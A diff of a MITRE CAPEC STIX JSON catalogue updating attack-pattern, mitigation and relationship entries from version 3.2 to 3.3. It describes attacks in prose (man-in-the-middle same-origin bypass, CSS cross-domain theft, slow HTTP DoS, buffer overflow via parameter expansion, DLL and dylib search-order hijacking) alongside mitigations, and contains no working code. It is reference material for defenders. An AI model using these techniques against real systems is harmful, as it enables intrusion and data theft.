proxy.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27325,11 +29070,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--fa36e285-e6c2-45d6-8a34-59d3a7952128", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -27338,31 +29083,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Ensure that the transparent proxy uses an actual network layer IP address for routing requests. On the transparent proxy, disable the use of routing based on address information in the HTTP host header.\n Configuration: Disable in the browser the execution of Java Script, Flash, SilverLight, etc.\n ", - "type": "course-of-action", - "id": "course-of-action--fa36e285-e6c2-45d6-8a34-59d3a7952128" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--38768dba-2640-4b3d-aad7-cde24f943ffa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--38768dba-2640-4b3d-aad7-cde24f943ffa", "source_ref": "course-of-action--fa36e285-e6c2-45d6-8a34-59d3a7952128", "relationship_type": "mitigates", "target_ref": "attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42" }, { + "id": "attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd", "name": "Leveraging Active Man in the Middle Attacks to Bypass Same Origin Policy", - "description": "An attacker leverages a man in the middle attack in order to bypass the same origin policy protection in the victim's browser. This active man in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non-sensitive website that does not use TLS. For instance, the victim may be checking flight or weather information. When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active man in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in his or her browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active man in the middle attacker intercepts these responses, injects his or her own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can essentially be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well.", + "description": "An attacker leverages a man in the middle attack in order to bypass the same origin policy protection in the victim's browser. This active man in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non-sensitive website that does not use TLS. For instance, the victim may be checking flight or weather information. When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active man in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in their browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active man in the middle attacker intercepts these responses, injects their own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can essentially be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27391,44 +29138,46 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f8895eb9-7ebf-4d92-a3d2-b792d698b85e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-466-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Tunnel communications through a secure proxy\n Design: Trust level separation for privileged / non privileged interactions (e.g., two different browsers, two different users, two different operating systems, two different virtual machines)\n ", - "type": "course-of-action", - "id": "course-of-action--f8895eb9-7ebf-4d92-a3d2-b792d698b85e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--890b994e-4031-4a8b-a046-e0f78b686de7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--890b994e-4031-4a8b-a046-e0f78b686de7", "source_ref": "course-of-action--f8895eb9-7ebf-4d92-a3d2-b792d698b85e", "relationship_type": "mitigates", "target_ref": "attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd" }, { + "id": "attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4", "name": "Cross Site Identification", - "description": "An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the \"remember me\" feature to keep his or her session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). In one example of an attack, an attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in his or her browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site. There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.", + "description": "An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the \"remember me\" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). In one example of an attack, an attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in their browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site. There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27462,36 +29211,38 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--3b73fe03-2e98-44fd-8de9-1dd67df63820", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-467-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Usage: Users should always explicitly log out from the social networking sites when done using them.\n Usage: Users should not open other tabs in the browser when using a social networking site.\n ", - "type": "course-of-action", - "id": "course-of-action--3b73fe03-2e98-44fd-8de9-1dd67df63820" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e9d94360-5ebd-43a2-88b4-e6c54c11443d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e9d94360-5ebd-43a2-88b4-e6c54c11443d", "source_ref": "course-of-action--3b73fe03-2e98-44fd-8de9-1dd67df63820", "relationship_type": "mitigates", "target_ref": "attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4" }, { + "id": "attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc", "name": "Generic Cross-Browser Cross-Domain Theft", "description": "An attacker makes use of Cascading Style Sheets (CSS) injection to steal data cross domain from the victim's browser. The attack works by abusing the standards relating to loading of CSS: 1. Send cookies on any load of CSS (including cross-domain) 2. When parsing returned CSS ignore all data that does not make sense before a valid CSS descriptor is found by the CSS parser By having control of some text in the victim's domain, the attacker is able to inject a seemingly valid CSS string. It does not matter if this CSS string is preceded by other data. The CSS parser will still locate the CSS string. If the attacker is able to control two injection points, one before the cross domain data that the attacker is interested in receiving and the other one after, the attacker can use this attack to steal all of the data in between these two CSS injection points when referencing the injected CSS while performing rendering on the site that the attacker controls. When rendering, the CSS parser will detect the valid CSS string to parse and ignore the data that \"does not make sense\". That data will simply be rendered. That data is in fact the data that the attacker just stole cross domain. The stolen data may contain sensitive information, such CSRF protection tokens.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27545,11 +29296,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1c597188-388c-4a01-8329-82cc30ea3f94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -27558,23 +29309,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Prior to performing CSS parsing, require the CSS to start with well-formed CSS when it is a cross-domain load and the MIME type is broken. This is a browser level fix.\n Implementation: Perform proper HTML encoding and URL escaping\n ", - "type": "course-of-action", - "id": "course-of-action--1c597188-388c-4a01-8329-82cc30ea3f94" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8000d194-1390-4c89-a0de-287afa5dae34", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8000d194-1390-4c89-a0de-287afa5dae34", "source_ref": "course-of-action--1c597188-388c-4a01-8329-82cc30ea3f94", "relationship_type": "mitigates", "target_ref": "attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc" }, { + "id": "attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934", "name": "HTTP DoS", "description": "An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27582,7 +29335,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27599,6 +29352,18 @@ "url": "http://cwe.mitre.org/data/definitions/772.html", "external_id": "CWE-772" }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:OS Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/001", + "external_id": "T1499.001" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" + }, { "source_name": "reference_from_CAPEC", "description": "Robert Hansen, Slowris HTTP DoS, 2009--06---17", @@ -27615,36 +29380,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--16d0cf9c-3bbd-46e9-8602-b56d80ca151c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-469-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Configuration: Configure web server software to limit the waiting period on opened HTTP sessions\n Design: Use load balancing mechanisms\n ", - "type": "course-of-action", - "id": "course-of-action--16d0cf9c-3bbd-46e9-8602-b56d80ca151c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bc601278-b179-4200-ba1c-ca0b22a1bc4e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bc601278-b179-4200-ba1c-ca0b22a1bc4e", "source_ref": "course-of-action--16d0cf9c-3bbd-46e9-8602-b56d80ca151c", "relationship_type": "mitigates", "target_ref": "attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934" }, { + "id": "attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73", "name": "Buffer Overflow via Parameter Expansion", "description": "In this attack, the target software is given input that the attacker knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27652,7 +29419,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27717,7 +29484,7 @@ "The expanded parameter is used in the context where buffer overflow may become possible due to the incorrect understanding of the parameter size (i.e. thinking that it is smaller than it really is)." ], "x_capec_skills_required": { - "High": "Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the attacker needs to write the shell code to accomplish his or her goals, but the attacker also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker." + "High": "Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the attacker needs to write the shell code to accomplish their goals, but the attacker also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker." }, "x_capec_resources_required": [ "Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful." @@ -27745,40 +29512,43 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n Attack Example: FTP glob()\n The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().\n This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host.\n To exploit this, the attacker must be able to create directories on the target host.\n The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server.\n [R.47.1][REF-2]See also: CVE-2001-0249", + "\n Attack Example: FTP glob()\n The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().\n This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host.\n To exploit this, the attacker must be able to create directories on the target host.\n The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server.\n [REF-1]See also: CVE-2001-0249", "\n Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.\n The limit computation of an internal buffer was done incorrectly. The size of the buffer in byte was used as element count, even though the elements of the buffer are 2 bytes long. Long expanded path names would therefore overflow the buffer.See also: CVE-2006-6652" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Consider parts of the program where user supplied data may be expanded by the program. Use a disassembler and other reverse engineering tools to guide the search.

Experiment

  1. Find a place where a buffer overflow occurs due to the fact that the new expanded size of the string is not correctly accounted for by the program. This may happen perhaps when the string is copied to another buffer that is big enough to hold the original, but not the expanded string. This may create an opportunity for planting the payload and redirecting program execution to the shell code.

Exploit

  1. Write the buffer overflow exploit. To be exploitable, the \"spill over\" amount (e.g. the difference between the expanded string length and the original string length before it was expanded) needs to be sufficient to allow the overflow of the stack return pointer (in the case of a stack overflow), without causing a stack corruption that would crash the program before it gets to execute the shell code. Heap overflow will be more difficult and will require the attacker to get more lucky, by perhaps getting a chance to overwrite some of the accounting information stored as part of using malloc().

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f3dcafa1-68b1-4610-a489-f68adb1fcaed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-47-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that when parameter expansion happens in the code that the assumptions used to determine the resulting size of the parameter are accurate and that the new size of the parameter is visible to the whole system", - "type": "course-of-action", - "id": "course-of-action--f3dcafa1-68b1-4610-a489-f68adb1fcaed" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f17b6dc5-ba75-4137-8d20-e847c4934580", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f17b6dc5-ba75-4137-8d20-e847c4934580", "source_ref": "course-of-action--f3dcafa1-68b1-4610-a489-f68adb1fcaed", "relationship_type": "mitigates", "target_ref": "attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73" }, { + "id": "attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e", "name": "Expanding Control over the Operating System from the Database", "description": "An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27819,11 +29589,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--487f1f81-ee73-4724-a461-36347b7e4ab1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -27832,23 +29602,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Follow the defensive programming practices needed to protect an application accessing the database from SQL injection\n Configuration: Ensure that the DBMS is patched with the latest security patches\n Design: Ensure that the DBMS login used by the application has the lowest possible level of privileges in the DBMS\n Design: Ensure that DBMS runs with the lowest possible level of privileges on the host machine and that it runs as a separate user\n Usage: Do not use the DBMS machine for anything else other than the database\n Usage: Do not place any trust in the database host on the internal network. Authenticate and validate all network activity originating from the database host.\n Usage: Use an intrusion detection system to monitor network connections and logs on the database host.\n Implementation: Remove / disable all unneeded / unused functions of the DBMS system that may allow an attacker to elevate privileges if compromised\n ", - "type": "course-of-action", - "id": "course-of-action--487f1f81-ee73-4724-a461-36347b7e4ab1" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b5d18883-6a7a-4261-b9e6-4a711baf2ec8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b5d18883-6a7a-4261-b9e6-4a711baf2ec8", "source_ref": "course-of-action--487f1f81-ee73-4724-a461-36347b7e4ab1", "relationship_type": "mitigates", "target_ref": "attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e" }, { + "id": "attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd", "name": "Search Order Hijacking", "description": "An adversary exploits a weakness in an application's specification of external libraries to exploit the functionality of the loader where the process loading the library searches first in the same directory in which the process binary resides and then in other directories. Exploitation of this preferential search order can allow an attacker to make the loading process load the adversary's rogue library rather than the legitimate library. This attack can be leveraged with many different libraries and with many different loading processes. No forensic trails are left in the system's registry or file system that an incorrect library had been loaded.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27856,7 +29628,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27868,6 +29640,24 @@ "url": "http://cwe.mitre.org/data/definitions/427.html", "external_id": "CWE-427" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:DLL search order hijacking", + "url": "https://attack.mitre.org/wiki/Technique/T1574/001", + "external_id": "T1574.001" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Dylib Hijacking", + "url": "https://attack.mitre.org/wiki/Technique/T1574/004", + "external_id": "T1574.004" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:LSASS Driver", + "url": "https://attack.mitre.org/wiki/Technique/T1547/008", + "external_id": "T1547.008" + }, { "source_name": "reference_from_CAPEC", "description": "M Trends Report, 2011, Mandiant", @@ -27887,37 +29677,40 @@ "For instance, an attacker with access to the file system may place a malicious ntshrui.dll in the C:\\Windows directory. This DLL normally resides in the System32 folder. Process explorer.exe which also resides in C:\\Windows, upon trying to load the ntshrui.dll from the System32 folder will actually load the DLL supplied by the attacker simply because of the preferential search order. Since the attacker has placed its malicious ntshrui.dll in the same directory as the loading explorer.exe process, the DLL supplied by the attacker will be found first and thus loaded in lieu of the legitimate DLL. Since explorer.exe is loaded during the boot cycle, the attackers' malware is guaranteed to execute.", "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify target general susceptibility: An attacker uses an automated tool or manually finds whether the target application uses dynamically linked libraries and the configuration file or look up table (such as Procedure Linkage Table) which contains the entries for dynamically linked libraries.

    2. Techniques
    The attacker uses a tool such as the OSX \"otool\" utility or manually probes whether the target application uses dynamically linked libraries.
    The attacker finds the configuration files containing the entries to the dynamically linked libraries and modifies the entries to point to the malicious libraries the attacker crafted.

Experiment

  1. Craft malicious libraries: The attacker uses knowledge gained in the Explore phase to craft malicious libraries that they will redirect the target to leverage. These malicious libraries could have the same APIs as the legitimate library and additional malicious code.

    2. Techniques
    The attacker monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the attacker can delay the operations by using \"sleep(2)\" and \"usleep()\" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.

Exploit

  1. Redirect the access to libraries to the malicious libraries: The attacker redirects the target to the malicious libraries they crafted in the Experiment phase. The attacker will be able to force the targeted application to execute arbitrary code when the application attempts to access the legitimate libraries.

    2. Techniques
    The attacker modifies the entries in the configuration files pointing to the malicious libraries they crafted.
    The attacker leverages symlink/timing issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-132.
    The attacker leverages file search path order issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-38.
